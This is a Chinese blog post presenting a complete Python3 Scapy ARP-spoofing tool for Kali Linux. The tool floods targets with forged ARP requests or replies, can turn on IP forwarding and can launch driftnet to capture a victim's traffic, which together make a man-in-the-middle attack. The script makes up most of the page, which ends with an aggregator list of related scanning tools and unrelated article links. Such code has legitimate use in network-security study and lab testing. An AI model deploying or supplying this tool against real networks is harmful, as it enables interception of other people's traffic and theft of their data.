Python3 小工具-ARP欺骗
在kali中使用
from scapy.all import *
import optparse
import os
def send(pkt,interface):
for p in pkt:
sendp(p,iface=interface)
def req(targets,source):
for target in targets:
tr_mac=getmacbyip(target)
pkt=Ether(dst=tr_mac)/ARP(pdst=target,psrc=source)
yield pkt
def rep(targets,source):
for target in targets:
tr_mac=getmacbyip(target)
pkt=Ether(dst=tr_mac)/ARP(pdst=target,psrc=source,op=2)
yield pkt
def main():
parser=optparse.OptionParser('%prog '+"[+]-i <interface> [+]-t <targets> [+]-s <source> [+]-m <mode> [+]-r <transmit>")
parser.add_option('-i',dest='interface',default='eth0',type='string',help='[+]Interface(default eth0)')
parser.add_option('-t',dest='targets',type='string',help='[+]Target host,split with \',\'')
parser.add_option('-s',dest='source',type='string',help='[+]Source host')
parser.add_option('-m',dest='mode',default='req',type='string',help='[+]Request(req) or Reply(rep)')
parser.add_option('-r',dest='transmit',default='no',type='string',help='[+]Transmit(yes or no)')
(options,args)=parser.parse_args()
interface=options.interface
targets=str(options.targets).split(',')
source=options.source
mode=options.mode
transmit=options.transmit
if((targets[0]==None) or (source==None)):
print('[-]Please input targets and source')
exit(0)
if(transmit=='yes'):
os.system('echo 1 > /proc/sys/net/ipv4/ip_forward')
os.system("gnome-terminal -- driftnet -i "+interface)
if(mode=='req'):
print('----------------')
try:
while True:
pkt=req(targets,source)
send(pkt,interface)
except KeyboardInterrupt:
print('---------------')
os.system('echo 0 > /proc/sys/net/ipv4/ip_forward')
print('Finished')
else:
print('-----------------')
try:
while True:
pkt=rep(targets,source)
send(pkt,interface)
except KeyboardInterrupt:
print('---------------')
os.system('echo 0 > /proc/sys/net/ipv4/ip_forward')
print('Finished!')
if __name__=='__main__':
main()
使用说明

开始程序

转发成功

github:https://github.com/zmqq/pytools/tree/master/arpspoof
Python3 小工具-ARP欺骗的更多相关文章
- Python3 小工具-ARP扫描
from scapy.all import * import optparse import threading import os def scan(ipt): pkt=Ether(dst='ff: ...
- Cain工具ARP欺骗攻击
OS:Win7工具:Cainhttp://pan.baidu.com/s/1xq9lW 密码:409z 网络:本机和被攻击电脑有线连接路由器. Cain是有名的局域网嗅探工具,有丰富的功能.比如可以解 ...
- python3 小工具
扫描IP的端口是否开放:Porttest.py # -*- coding: utf-8 -*- import sys import os import socket #扫描 def scanport( ...
- ip地址查询python3小工具_V0.0.1
看到同事在一个一个IP地址的百度来确认导出表格中的ip地址所对应的现实世界的地址是否正确,决定给自己新开一个坑.做一个查询ip“地址”的python小工具,读取Excel表格,在表格中的后续列输出尽可 ...
- Python3 小工具-UDP扫描
from scapy.all import * import optparse import threading def scan(target,port): pkt=IP(dst=target)/U ...
- Python3 小工具-僵尸扫描
僵尸机的条件: 1.足够闲置,不与其他机器进行通讯 2.IPID必须是递增的,不然无法判断端口是否开放 本实验僵尸机选择的是Windows2003 from scapy.all import * im ...
- Python3 小工具-TCP半连接扫描
from scapy.all import * import optparse import threading def scan(ip,port): pkt=IP(dst=ip)/TCP(dport ...
- Python3 小工具-UDP发现
from scapy.all import * import optparse import threading import os def scan(ip): pkt=IP(dst=ip)/UDP( ...
- Python3 小工具-TCP发现
from scapy.all import * import optparse import threading import os def scan(ip): pkt=IP(dst=ip)/TCP( ...
随机推荐
- 时间比较方法DateTime.Compare
格式:DateTime.Compare(datetime1, datetime2) 参数为时间格式,为第一个参数比较第二个参数,返回小于0的值,等于0或大于0的值. 实例: string st1 = ...
- Java并发编程(一)为什么要并发
并发所带来的好处 1. 并发在某些情况(并不是所有情况)下可以带来性能上的提升 1) 提升对CPU的使用效率 提升多核CPU的利用率:一般来说一台主机上的会有多个CPU核心,我们可以创建多个线程,理论 ...
- 『ACM C++』 PTA 天梯赛练习集L1 | 042-43
记录刷题情况 ------------------------------------------------L1-042--------------------------------------- ...
- MySQL 5.7修改root密码的4种方法
sometimes we will forget our password of root in MySQL DB server.so,there're several methods ...
- [异常笔记]启动DFS报错:Cannot find configuration directory: /etc/hadoop
[hadoop@master ~]$ start-dfs.sh Incorrect configuration: namenode address dfs.namenode.servicerpc-ad ...
- TinyMCE插件:RESPONSIVE filemanager 9 文件名统一格式化
上传图片方法(filemanager/UploadHandler.php) 在上传图片的函数中查看,发现$file->name是一个完整的[文件名.后缀名],所以使用explode(),文件名和 ...
- java中子类会继承父类的构造方法吗?
参考: https://blog.csdn.net/wangyl_gain/article/details/49366505
- c语言中:strlen和sizeof的区别和它们分别交换各自作用领域(\0问题)时的细微差别!!!
本人c语言初学菜鸟一枚,今天通过敲了一段简单代码,发现strlen和sizeof之间的一些关系,总结如下: 用strlen计算数组长度要考虑进去\0 用sizeof计算字符串长度也要考虑进去\0 而s ...
- HyperLedger Fabric 1.4 问题汇总(16)
16.1 在运行e2e_cli例子时,执行./network_setup.sh up,出现错误:网络搭建之network e2ecli_default not found 问题原因: End-2-En ...
- golang区块链开发的视频教程推荐
目前网上关于golang区块链开发的资源很少,以太坊智能合约相关的课程倒是很多,可能是由于前者的难度比后者难度大,课程开发需要投入更多精力.搜了一圈之后没结果,我就直接去之前没覆盖的视频网站找资源,包 ...